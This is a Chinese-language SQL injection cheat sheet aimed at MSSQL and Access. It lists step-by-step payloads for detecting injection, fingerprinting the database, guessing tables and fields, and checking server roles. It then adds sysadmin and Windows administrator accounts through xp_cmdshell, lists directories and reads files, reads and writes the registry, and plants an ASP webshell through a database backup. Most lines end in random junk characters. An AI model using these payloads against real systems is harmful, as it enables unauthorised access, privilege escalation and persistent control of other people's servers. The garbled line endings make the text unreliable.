1.判断是否有注入;and 1=1 ;and 1=2 O:)IRB3
2.初步判断是否是mssql ;and user>0 cloI 6%5r
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3.注入参数是字符'and [查询条件] and ''=' u2]g1XjeG
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' JZzf,G:
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5.判断数据库系统 e9_+$Oo
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;and (select count(*) from sysobjects)>0 mssql a7\L-T+
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;and (select count(*) from msysobjects)>0 access j*4S] !
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 }!V<"d,!
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 }dJ ~Iy
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 03WRj+w
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9.(1)猜字段的ascii值(access) SsX05>
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 {K4t8T]
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 .oj" ru
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10.测试权限结构(mssql) ?]D+H%3[$i
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- G@EjWZQ
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- V
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- BON""yIC
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- -!G#")<
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- `AHNk7 t=
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- X1[R*a/p
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;and 1=(select IS_MEMBER('db_owner'));-- p]|ME
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11.添加mssql和系统的帐户 GnrW{o
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;exec master.dbo.sp_addlogin username;-- }_ :#fE
;exec master.dbo.sp_password null,username,password;-- =tRe3o0(
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 8tRhV2
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;exec master.dbo.xp_cmdshell 'net user username password eKpxskbhZ
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- S%s|P=u
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- ]AA*f_!
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- Ldj^O9p(
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12.(1)遍历目录 ~K#_'Ldrd
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;create table dirs(paths varchar(100), id int) m *bKy;'8
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;insert dirs exec master.dbo.xp_dirtree 'c:\' qMdtJ(gq
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;and (select top 1 paths from dirs)>0 dms:i)L2
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 'j<:FUDJ
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- "ko?att~
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 M3;v3
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 I;.!
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 ?)o4 Kt'h
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ny_ kr`$42
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13.mssql中的存储过程 {L-aXe{
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xp_regenumvalues 注册表根键, 子键 $h]Y<&('G
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 xBE
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xp_regread 根键,子键,键值名 ~)m t &
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;exec xp_regread NZ+?Ydr8k
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 wI]R+.
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xp_regwrite 根键,子键, 值名, 值类型, 值 b^l
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 V.QzMF"o
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xp_regdeletevalue 根键,子键,值名 z1SMQLk
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 o
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 p`<e~[]a
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14.mssql的backup创建webshell mp+\!
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use model K'{W9~9Lq
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create table cmd(str image); ~q]|pD"\K|
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insert into cmd(str) values (''); Q1ABnacR
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backup database model to disk='c:\l.asp'; 4z0R\tjT
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15.mssql内置函数 hDD~,/yVxs
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;and (select @@version)>0 获得Windows的版本号 +%le/Pg@
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa TH(Lzrbg
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;and (select user_name())>0 爆当前系统的连接用户 S`2mtg
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;and (select db_name())>0 得到当前连接的数据库 +zVcOS*-
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16.简洁的webshell =@1R ozt
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use model JJ
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create table cmd(str image); we H@S
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insert into cmd(str) values (''); |?fW!y
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backup database model to disk='g:\wwwtest\l.asp';